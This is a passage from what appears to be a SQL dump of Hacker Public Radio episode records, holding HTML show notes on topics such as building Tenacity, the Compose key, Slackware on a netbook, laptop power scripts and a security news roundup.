Cmake</h4>\r\n<ul>\r\n<li><a href=\"https://gist.github.com/ricemark20/17382125f04083b3cdcda3d8bed64e4a\" class=\"uri\">https://gist.github.com/ricemark20/17382125f04083b3cdcda3d8bed64e4a</a></li>\r\n</ul>\r\n<pre><code>Clone Tenacity from the Tenacity GitHub project.\r\n\r\n    $ git clone https://github.com/tenacityteam/tenacity/\r\n    $ cd tenacity\r\n\r\n    Configure Tenacity using CMake:\r\n\r\n    $ mkdir build &amp;&amp; cd build\r\n    $ cmake -G &quot;Unix Makefiles&quot; -Duse_ffmpeg=loaded ..\r\n\r\n    By default, Debug build will be configured. To change that, pass -DCMAKE_BUILD_TYPE=Release to CMake.\r\n\r\n    Build Tenacity:\r\n\r\n    $ make -j`nproc`\r\n\r\n    $ sudo make install</code></pre>\r\n<p><em>Current version:3.0.2-895-g0665614</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3538/inmage_001.png\" alt=\"Current version:3.0.2-895-g0665614\" /></p>\r\n',318,0,0,'CC-BY-SA','Tenacity, Audacity, Github, Cmake, make, audio editor, telemetry, Google, tracking',0,0,1),
(3523,'2022-02-02','The Compose key',406,'What is the compose key, and how to set it up on X, GNOME and Windows.','<p>The Compose key allows you to input any character or sequence of characters regardless what keyboard layout you use, by typing the Compose key followed by a sequence of other keys. To use it, you must activate it in your system and choose what key you want to serve as the Compose key.</p>\r\n<p>If on Windows, we don\'t judge, we understand it\'s because, like me, you have no choice, and that\'s OK, one day we\'ll all get to live the dream, until then we\'ll just make do... WinCompose enables the compose key on that wretched environment. It comes with a ton of additional sequences, plus a fancy GUI for creating your own.</p>\r\n<p>If you use X, I suggest looking at the ArchLinux Wiki: <a href=\"https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key\">https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key</a></p>\r\n<p>If you are a GNOME user, install GNOME Tweaks to activate the Compose key.</p>\r\n<p>$HOME/.XCompose</p>\r\n<pre><code>include &quot;%L&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;braceleft&gt; : &quot;&amp;#123;&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;braceright&gt; : &quot;&amp;#125;&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;t&gt; &lt;f&gt; : &quot;(&#x256F;&#xB0;&#x25A1;&#xB0;&#xFF09;&#x256F;&#xFE35; &#x253B;&#x2501;&#x253B;&quot;\r\n&lt;Multi_key&gt; &lt;C&gt; &lt;C&gt; &lt;C&gt; &lt;P&gt; : &quot;&#x262D;&quot;\r\n</code></pre>\r\n<p>Note that that last one actually comes with X by default. In ArchLinux, all the default sequences can be found in <code>/usr/share/X11/locale/&lt;your-locale&gt;/Compose</code>. Also good to find out what to call your keys when writing your own sequences.</p>\r\n<p><code>/etc/X11/xorg.conf.d/00-keyboard.conf</code> is the file that makes the Compose key happen in X.</p>\r\n<pre><code>Section &quot;InputClass&quot;\r\n    Identifier &quot;system-keyoard&quot;\r\n    MatchIsKeyboard &quot;on&quot;\r\n    Option &quot;XkbLayout&quot; &quot;us&quot;\r\n    Option &quot;XkbModel&quot; &quot;acer_laptop&quot;\r\n    Option &quot;XkbOptions&quot; &quot;compose:ralt,ctrl:nocaps&quot;\r\nEndSection\r\n</code></pre>\r\n<p>Note that it is not recommended to edit the file above, but use <code>localectl</code> to edit it. I don\'t know why that is. To learn more about that, and all the many options available, start with <a href=\"https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Using_localectl\">https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Using_localectl</a></p>\r\n',399,0,0,'CC-BY-SA','Xorg,X11,compose,composekey',0,0,1),
(3524,'2022-02-03','Wheels Addendum - How to Reliably Attach Wheels to PAR Robot Platform',393,'The most difficult part of Post Apocalyptic Robotics - how to keep the wheels on','<p><a href=\"https://hackerpublicradio.org/eps.php?id=3522\">https://hackerpublicradio.org/eps.php?id=3522</a></p>\r\n<p>Video is already uploaded <a href=\"https://www.bitchute.com/video/HyT5Yz5bhjfS/\">https://www.bitchute.com/video/HyT5Yz5bhjfS/</a></p>\r\n<p><em>Picture 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114225.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114225_thumbnail.jpg\" alt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 2</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114332.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114332_thumbnail.jpg\" alt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 3</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114438.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114438_thumbnail.jpg\" alt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 4</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114501.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114501_thumbnail.jpg\" alt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 5</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114514.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114514_thumbnail.jpg\" alt=\"Picture 5\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 6</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114545.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114545_thumbnail.jpg\" alt=\"Picture 6\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 7</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114717.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114717_thumbnail.jpg\" alt=\"Picture 7\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 8</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114723.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114723_thumbnail.jpg\" alt=\"Picture 8\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 9</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114731.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114731_thumbnail.jpg\" alt=\"Picture 9\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 10</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114739.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114739_thumbnail.jpg\" alt=\"Picture 10\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 11</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114940.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114940_thumbnail.jpg\" alt=\"Picture 11\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 12</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_115057.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_115057_thumbnail.jpg\" alt=\"Picture 12\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3525,'2022-02-04','Battling with English - part 4',920,'Some confusion with English plurals; strange language changes','<h2 id=\"confusing-plurals\">Confusing plurals</h2>\r\n<p>In this episode, the fourth of this series, I’m looking at some words that have singular and plural forms that are very different. These lead to a lot of confusion as we’ll see.</p>\r\n<p>I also want to look at the way that English is evolving in some very strange and apparently senseless ways!</p>\r\n<p><small><b>Personal note:</b> I notice I started preparing this show in 2019; unfortunately, COVID messed up my productivity for the next two years, but I hope I can now begin to be productive again! </small></p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be viewed by following <a href=\"https://hackerpublicradio.org/eps/hpr3525/full_shownotes.html\">the full notes link</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Plural of <em>thesis</em>:\r\n<ul>\r\n<li><a href=\"https://www.grammar-monster.com/plurals/plural_of_thesis.htm\">Grammar Monster</a>\r\n<ul>\r\n<li>This link has some good advice for dealing with weird plurals, though some you just have to remember, there are no rules!</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Irregular plurals which end with <code>\"ae\"</code> (or <code>\"æ\"</code>):\r\n<ul>\r\n<li><a href=\"https://en.wiktionary.org/wiki/Category:English_irregular_plurals_ending_in_%22-ae%22\">Wiktionary</a>\r\n<ul>\r\n<li>This is a list of these plurals, 159 of them at the time of writing. Many of these are obsolete however.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>The “is is” problem:\r\n<ul>\r\n<li><a href=\"https://english.stackexchange.com/questions/36683/why-do-some-people-say-the-reason-is-is-that-with-is-twice-in-a-row\">StackExchange: <em>Why do some people say “the reason is is that,” with “is” twice in a row?</em></a></li>\r\n<li><a href=\"https://www.grammarbook.com/blog/effective-writing/what-is-is-is-is-exasperating/\">GrammarBook.com: What Is-Is Is, Is Exasperating</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Double_copula\">Wikipedia article on the <em>Double Copula</em></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>“Honing in”:\r\n<ul>\r\n<li><a href=\"https://www.merriam-webster.com/dictionary/hone%20in\">Merriam-Webster: <em>hone in</em></a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=JZ07FbgQkqk\"><em>Me Ears Are Alight</em> old British advertisement</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous episodes in this series:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2596\">Battling with English - part 2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2751\">Battling with English - part 3</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,120,1,'CC-BY-SA','grammar,spelling,plurals,word misuse,English,language evolution',0,0,1),
(3539,'2022-02-24','Linux Inlaws S01E50: The OpenSUSE Project',4079,'An interview with Doug DeMaio and Axel Braun from the OpenSUSE project','<p>In this episode of the Inlaws our two ageing heroes host Doug DeMaio and Axel Braun, both intimately\r\nassociated with and actively supporting the OpenSUSE project, the foundation of one of the popular Linux distros\r\napart from RedHat and Debian for companies of all sizes (yes, and Ubuntu before I get any hate mails\r\nfrom Mark Shuttleworth or Cannonical in general :-). Apologies for not mentioning Alma, CentOS or\r\nRocky Linux. Topics of discussion include the advantages of hipster concepts like rolling releases,\r\nthe year of the Linux desktop, other people\'s computers (aka Clouds) and philosophical things like\r\nIT security, all things cloud-native (well, almost) and Apple laptop users drinking fancy coffee\r\nderivatives. Never mind containers, edge-computing operating systems and live kernel patching.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenSUSE: <a href=\"https://www.opensuse.org\" target=_blank>https://www.opensuse.org</a></li>\r\n<li>SUSE: <a href=\"https://www.suse.com\" target=_blank>https://www.suse.com</a></li>\r\n<li>openQA: <a href=\"https://open.qa\" target=_blank>https://open.qa</a></li>\r\n<li>Open Build Service: <a href=\"https://openbuildservice.org\" target=_blank>https://openbuildservice.org</a></li>\r\n<li>CentOS debacle: <a href=\"https://arstechnica.com/gadgets/2020/12/centos-shifts-from-red-hat-unbranded-to-red-hat-beta\" target=_blank>https://arstechnica.com/gadgets/2020/12/centos-shifts-from-red-hat-unbranded-to-red-hat-beta</a></li>\r\n<li>OpenSUSE conference: <a href=\"https://events.opensuse.org\" target=_blank>https://events.opensuse.org</a></li>\r\n<li>MicroOS: <a href=\"https://microos.opensuse.org\" target=_blank>https://microos.opensuse.org</a></li>\r\n<li>Kubic: <a href=\"https://kubic.opensuse.org\" target=_blank>https://kubic.opensuse.org</a></li>\r\n<li>Rancher: <a href=\"https://www.suse.com/products/rancher-kubernetes-engine\" target=_blank>https://www.suse.com/products/rancher-kubernetes-engine</a></li>\r\n<li>OpenSUSE mailing lists: <a href=\"https://lists.opensuse.org/archives\" target=_blank>https://lists.opensuse.org/archives</a></li>\r\n<li>OpenSUSE bar: <a href=\"https://meet.opensuse.org/bar\" target=_blank>https://meet.opensuse.org/bar</a></li>\r\n<li>OpenSUSE social media: <a href=\"https://en.opensuse.org/openSUSE:Social_media_contacts\" target=_blank>https://en.opensuse.org/openSUSE:Social_media_contacts</a></li>\r\n<li>OpenSUSE IRC: <a href=\"https://en.opensuse.org/openSUSE:IRC_list\" target=_blank>https://en.opensuse.org/openSUSE:IRC_list</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','OpenSUSE, Kubic, MicroOS, Clouds, Lattes, Desktops',0,0,1),
(3527,'2022-02-08','My gEeeky Experiment - Part 3',816,'Claudio talks about how he upgraded the SSD on his Asus Eee PC 901 netbook.','<ul>\r\n<li><p>hpr3383 :: My gEeeky Experiment - Part 1<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></p></li>\r\n<li><p>hpr3418 :: My gEeeky Experiment - Part 2<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></p></li>\r\n<li><p>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3</a></p></li>\r\n</ul>\r\n<p>Contact: claudiom@bsd.network (Mastodon)<br />\r\nIRC: ClaudioM on #oggcastplanet (Libera.chat)</p>\r\n',152,0,0,'CC-BY-SA','openbsd,netbook,asus,eeepc,upgrades,ssd',0,0,1),
(3528,'2022-02-09','Slackware on a netbook',346,'A response show to HPR3512','<h3 id=\"installed-slackware-on-acer-aspire-one\">Installed Slackware on Acer Aspire One</h3>\r\n<ul>\r\n<li><p>4.4.14-smp #2 SMP Fri Jun 24 14:44:24 CDT 2016 i686 Intel(R) Atom(TM) CPU N270 @ 1.60GHz GenuineIntel GNU/Linux</p></li>\r\n<li><p>1 Gb ram</p>\r\n<pre><code>[mark@archer72:~ ] $ free total --mega\r\n    total    used  free  shared  buff/cache   available\r\nMem:           1009         172         376           0         459         692\r\nSwap:          1048           0        1048</code></pre></li>\r\n<li><p>Runs a little warm</p>\r\n<pre><code>[mark@archer72:~ ] $ sensors\r\n\r\ncoretemp-isa-0000\r\nAdapter: ISA adapter\r\nCore 0:       +45.0 &amp;#8451;  (crit = +90.0 &amp;#8451;)</code></pre></li>\r\n<li><p>Ignore lid switch</p>\r\n<p><code>echo on &gt;/sys/bus/acpi/drivers/button/$PLATFORM\\:00/power/control</code></p>\r\n<p>Or in this case</p>\r\n<p><code>echo on &gt; /bus/acpi/drivers/button/LNXPWRBN\\:00/power/control</code></p></li>\r\n<li><p>Clear screen in BASH</p>\r\n<ul>\r\n<li><p>Enter in ~/.bashrc the line:</p>\r\n<p><code>bind -x $\'\"\\C-l\":clear;\'</code></p></li>\r\n<li><p>Not working between reboots</p></li>\r\n</ul></li>\r\n</ul>\r\n<p><quote></p>\r\n<p>If you always want the content of your .bashrc file processed, you can add the following lines to your .bash_profile file, creating that file if it does not already exist:</p>\r\n<pre><code>if [ -f ~/.bashrc ]; then\r\n    . ~/.bashrc\r\nfi</code></pre>\r\n<p>Per its man page, bash \"[...] looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable.\" Conventions and policies of your local system will determine which, if any, of these files already exist.</p>\r\n<p>A word of caution: be aware that creating a new .bash_profile in your home directory could have the unintended side-effect of preventing the reading and executing of commands in a .bash_login or .profile file already present, changing further the behavior of subsequent logins. </quote></p>\r\n<p><a href=\"https://stackoverflow.com/questions/18393521/bashrc-not-loading-until-run-bash-command\" class=\"uri\">https://stackoverflow.com/questions/18393521/bashrc-not-loading-until-run-bash-command</a></p>\r\n<ul>\r\n<li><p>Change lilo menu timeout to 5 seconds</p>\r\n<ul>\r\n<li><p>edit /etc/lilo.conf</p>\r\n<pre><code>.\r\n.\r\n# This is given in tenths of a second, so 600 for every minute:\r\n# timeout = 1200\r\ntimeout = 50\r\n.\r\n.</code></pre></li>\r\n</ul></li>\r\n<li><p>Add custom bash prompt.</p>\r\n<pre><code>  PS1=&quot;&quot;[\\d \\t \\u@\\h:\\w ]&quot; $ &quot;\r\n  [Sat Feb 05 18:11:15 mark@archer72:~ ] $</code></pre></li>\r\n<li><p>For a more concise prompt:</p>\r\n<pre><code>  PS1=&quot;[\\u@\\h:\\w ] $\r\n  [mark@archer72:~ ] $</code></pre></li>\r\n<li><p>Not authorized to control networking</p>\r\n<p><code>sudo usermod -G netdev -a yourusername</code></p>\r\n<ul>\r\n<li><a href=\"https://askubuntu.com/questions/304159/not-authorized-to-control-networking#304181\" class=\"uri\">https://askubuntu.com/questions/304159/not-authorized-to-control-networking#304181</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,0,0,'CC-BY-SA','Slackware, Auld hardware, netbook',0,0,1),
(3531,'2022-02-14','Barrier: Software KVM',1039,'A brief inroduction to the Barrier software KVM','<p>This episode is a quick software recommendation/introduction to <a href=\"https://github.com/debauchee/barrier\">Barrier</a>. Barrier is a software KVM, forked from <a href=\"https://symless.com/synergy\">Synergy</a>. It sends your keystrokes and mouse input over the network, so that you can share your input devices between computers.</p>\r\n',196,0,0,'CC-BY-SA','kvm,Barrier,network,keyboard,mouse',0,0,1),
(3532,'2022-02-15','Self-hosting in small scale E0: Disclaimer and general idea',545,'This ep is just explanation of the general idea and introducing useful communities around the topic','<p>By the end of the series I would like to end up with an example repository on Github/Gitlab with scenarios and example configuration file which makes them easy to replicate and modify to your need. I am interested in your opinion what type of service would you fancy to self-host yourself. So don\'t hesitate to contact me on twitter, matrix.org or in email.</p>\r\n<p>Twitter: <span class=\"citation\" data-cites=\"takov751\">@takov751</span><br />\r\nmatrix: takov751:matrix.org<br />\r\nemail: takov751+hpr@protonmail.com</p>\r\n<p>Few interesting communities/project:</p>\r\n<ul>\r\n<li><p>Community around making a curated list of their own docker images and maintain them:<br />\r\n<a href=\"https://linuxserver.io\" class=\"uri\">https://linuxserver.io</a></p></li>\r\n<li><p>Open source project for home automation: <a href=\"https://www.home-assistant.io/\" class=\"uri\">https://www.home-assistant.io/</a></p></li>\r\n</ul>\r\n',402,0,0,'CC-BY-SA','self-host, devsecops, docker',0,0,1),
(3533,'2022-02-16','Porridge',1741,'A show about porridge','<p>This is a show about porridge.</p>\r\n<p>Episodes mentioned in this episode:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3272\">hpr3272 :: In GNU/Linux, there is no \"diversity\", we\'re all just data. hosted by Some Guy On The Internet </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3257\">hpr3257 :: Lack of diversity in Linux and other open source communities hosted by swift110 </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3251\">hpr3251 :: Opposing Views on Alcohol hosted by Windigo </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3247\">hpr3247 :: Saturday Morning Automotive Routine hosted by TrumpetJohn </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3223\">hpr3223 :: My COVID year summary hosted by b-yeezi </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3121\">hpr3121 :: Opposing Views on Tattoos hosted by Windigo </a></li>\r\n</ul>\r\n<p>Island mentioned in this episode: <a href=\"https://en.wikipedia.org/wiki/St_Kilda,_Scotland\">https://en.wikipedia.org/wiki/St_Kilda,_Scotland</a></p>\r\n<p>All the porridge: <a href=\"https://en.wikipedia.org/wiki/List_of_porridges\">https://en.wikipedia.org/wiki/List_of_porridges</a></p>\r\n',399,0,0,'CC-BY-SA','porridge',0,0,1),
(3534,'2022-02-17','Vernier caliper',519,'Ken recommends a very useful tool for measuring stuff','<p>\r\nIn today\'s show Ken recommends a fairly affordable tool for measuring all sorts of dimensions.\r\n</p>\r\n\r\n<img src=\"/eps/hpr3534/Vernier_caliper.svg.png\" alt=\"An image of a Vernier caliper\" />\r\n\r\n<p>\r\nFrom <a href=\"https://en.wikipedia.org/wiki/Calipers#Vernier_caliper\">Wikipedia</a>\r\n</p>\r\n\r\n<ol>\r\n\r\n<li>Outside large jaws: used to measure external diameter of an object (like a hollow cylinder) or width of an object (like a rod), diameter of an object (like a sphere).</li>\r\n<li>Inside small jaws: used to measure the internal diameter of an object (like a hollow cylinder or pipe).</li>\r\n<li>Depth probe/rod: used to measure depths of an object (like a small beaker) or a hole.</li>\r\n<li>Main scale (Metric): marked every millimeter and helps to measure length correct up to 1 mm.</li>\r\n<li>Main scale (Imperial): marked in inches and fractions.</li>\r\n<li>Vernier scale (Metric) gives interpolated measurements to 0.1 mm or better.</li>\r\n<li>Vernier scale (Imperial) gives interpolated measurements in fractions of an inch.</li>\r\n<li>Retainer: used to block movable part to allow the easy transferring of a measurement.</li>\r\n</ol>\r\n',30,0,0,'CC-BY-SA','Vernier Caliper,measurement',0,0,1),
(3565,'2022-04-01','Heavy Hacking down in the quarry. ',468,'How to adjust a toggle plate on a MOBICAT MC 120 PRO Jaw Crusher','<p>Another trip down the quarry with Marshall aka Timtimmy. Today he\'s changing the toggle plate on a MOBICAT MC 120 PRO Jaw Crusher. We\'ve already covered it before but there is a brief refresher about the hydraulic, and pneumatic systems before we get to changing the plate itself. As always be sure you follow the safety instructions provided by the manufacturer.</p>\r\n\r\n<p>\r\n<img width=\"70%\" src=\"/eps/hpr3565/IMG_20220328_165606.jpg\" alt=\"Photo of the MOBICAT MC 120 PRO Jaw Crusher\" />\r\n</p>\r\n<p>\r\n<img width=\"70%\" src=\"/eps/hpr3565/IMG_20220328_165709.jpg\" alt=\"Photo of the MOBICAT MC 120 PRO Jaw Crusher\" />\r\n</p>\r\n\r\n<h3>Links</h3><ul><li><a href=\"https://www.wirtgen-group.com/ocs/en-in/kleemann/mc-120-pro-138-p/\">MOBICAT MC 120 PRO Jaw Crusher</a></li><li><a href=\"https://www.terex.com/evoquip/en/product/bison/bison-120\">Bison 120 Jaw Crusher</a></li><li><a href=\"https://www.hse.gov.uk/pubns/books/l118.htm\">Health and safety at quarries. The Quarries Regulations 1999. Approved Code of Practice </a></li><li><a href=\"https://en.wikipedia.org/wiki/British_Standard_Whitworth\">British Standard Whitworth (BSW)</a></li></ul>',392,0,0,'CC-BY-SA','quarry,hacking,Health and Safety',0,0,1),
(3536,'2022-02-21','Laptop power problems',1398,'This is a story of a laptop with two power problems.','<p>This is a story of a laptop with two power problems.</p>\r\n<p>The first and less severe is that sometimes the charging of the battery will get stuck at a certain percentage. This is not simply due to the effect commonly found with aging batteries but a fault with the laptop\'s charging hardware. A full reset of the charging system can fix it, which for this ASUS Zenbook UX550vd laptop requires a long press &#x2014; meaning 40 seconds &#x2014; from its shutdown state.</p>\r\n<p>The second and more serious issue is that the laptop thinks that it is plugged into AC power even when it is running only on battery. I ruled out an operating system or software issue because the issue remains whether running GNU/linux or Windows. The problem is serious because the power management software, in my case in KDE, will not respond to critically low battery levels by suspending or gracefully shutting down. It may be that a sudden loss of power damaged the previous SSD in this laptop, which was the subject of <a href=\"https://hackerpublicradio.org/eps.php?id=3428\">HPR 3428</a>.</p>\r\n<p>My first attempt to fool KDE into seeing accurate battery information under <code>/sys/class/power_supply/BAT0</code> using an overlay filesystem failed presumably because KDE\'s power system is listening out for some kind of event rather than simply monitoring those files. My second and successful attempt involved writing my own bash scripts run by cron to monitor battery levels and initiate actions when they got too low. There were errors with comedic consequences along the way. In fact, while writing these shownotes after I finished recording the audio, the laptop suspended itself because of a bug in my script - I used <code>le</code> (less than or equal to) rather than <code>lt</code> (less than) in my test for a change in the battery charge leading to unintended and fun consequences when the battery was fully charged.</p>\r\n',268,0,0,'CC-BY-SA','laptop,linux,power',0,0,1),
(3647,'2022-07-26','Weekend projects',1004,'Rho`n rambles about some weekend projects','<h1>Synopsis</h1>\r\n\r\n<p>In this episode, Rho`n rambles about some recent weekend repair projects. The main focus of this episode is fixing a bent patio table umbrella pole, along with his attempts to fix a punctured basketball. There are some successes, some failures, and some side stories along the way.</p>\r\n<style>\r\ndiv#figures {\r\n	display: flex;\r\n	flex-direction: row;\r\n	flex-wrap: wrap;\r\n	justify-content: center;\r\n}\r\ndiv#figures figcaption { max-width: 490px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n<div id=\"figures\">\r\n<figure>\r\n	<a href=\"./eps/hpr3647/01.jpg\"><img src=\"./eps/hpr3647/01-sm.jpg\"\r\n         alt=\"Initial fixed umbrella pole.\"></a>\r\n	<br>\r\n    <figcaption>Intial fix using 1.25\" dowel rod and wood screws.</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"./eps/hpr3647/02.jpg\"><img src=\"./eps/hpr3647/02-sm.jpg\"\r\n								   alt=\"Fixed pole with epoxy resin wrap\"></a>\r\n	<br>\r\n    <figcaption>Fixed pole with epoxy resin wrap.</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"./eps/hpr3647/03.jpg\"><img src=\"./eps/hpr3647/03-sm.jpg\"\r\n								   alt=\"Fixed pole in regular standing position\"></a>\r\n	<br>\r\n    <figcaption>Fixed pole in regular position.</figcaption>\r\n</figure>\r\n</div>\r\n',293,0,0,'CC-BY-SA','diy, repairs, umbrella, basketball',0,0,1),
(3858,'2023-05-17','The Oh No! News.',873,'Sgoti talks about Toyota\'s data leak and more, on the Oh No! News.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><p><strong>Threat analysis; your attack surface.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.ic3.gov/Media/Y2023/PSA230407\"\ntitle=\"...coerce sextortion victims into paying for their services.\">For-Profit\nCompanies Charging Sextortion Victims for Assistance and Using Deceptive\nTactics to Elicit Payments.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> FBI Internet Crime Complaint Center. (2023,\nApr 7).<br />\n</li>\n<li>The companies use deceptive tactics&#x2014;including threats, manipulation,\nand providing false information&#x2014;to coerce sextortion victims into paying\nfor their services. Some of the services for which the companies charge\nfees, such as sending the perpetrators cease and desist orders, make\nvictims feel better but are not legally enforceable. The companies may\nalso attempt to discourage victims from reporting the sextortion to law\nenforcement. Limited reporting indicates the companies are directly or\nindirectly involved in the sextortion activity.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/former-ubiquiti-dev-who-extorted-the-firm-gets-six-years-in-prison/\"\ntitle=\"Attempting to extort his employer.\">Former Ubiquiti dev who\nextorted the firm gets six years in prison.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>.\n(2023, May 11).<br />\n</li>\n<li>Nickolas Sharp, a former senior developer of Ubiquiti, was sentenced\nto six years in prison for stealing company data, attempting to extort\nhis employer, and aiding the publication of misleading news articles\nthat severely impacted the firm\'s market capitalization.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/toyota-car-location-data-of-2-million-customers-exposed-for-ten-years/\"\ntitle=\"Misconfiguration of the cloud environment.\">Toyota: Car location\ndata of 2 million customers exposed for ten years.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>.\n(2023, May 12).<br />\n</li>\n<li>Toyota Motor Corporation disclosed a data breach on its cloud\nenvironment that exposed the car-location information of 2,150,000\ncustomers for ten years, between November 6, 2013, and April 17,\n2023.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.gov.uk/government/news/failure-to-comply-with-bus-open-data-regulations-leads-to-financial-penalty-for-operator\"\ntitle=\"Financial penalty under section 155 of the Transport Act 2000.\">Failure\nto comply with Bus Open Data regulations leads to financial penalty for\noperator.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> Traffic Commissioners for Great Britain.\n(2023, May 4).<br />\n</li>\n<li>The Traffic Commissioner for the West Midlands, Miles Dorrington,\nimposed a financial penalty under section 155 of the Transport Act 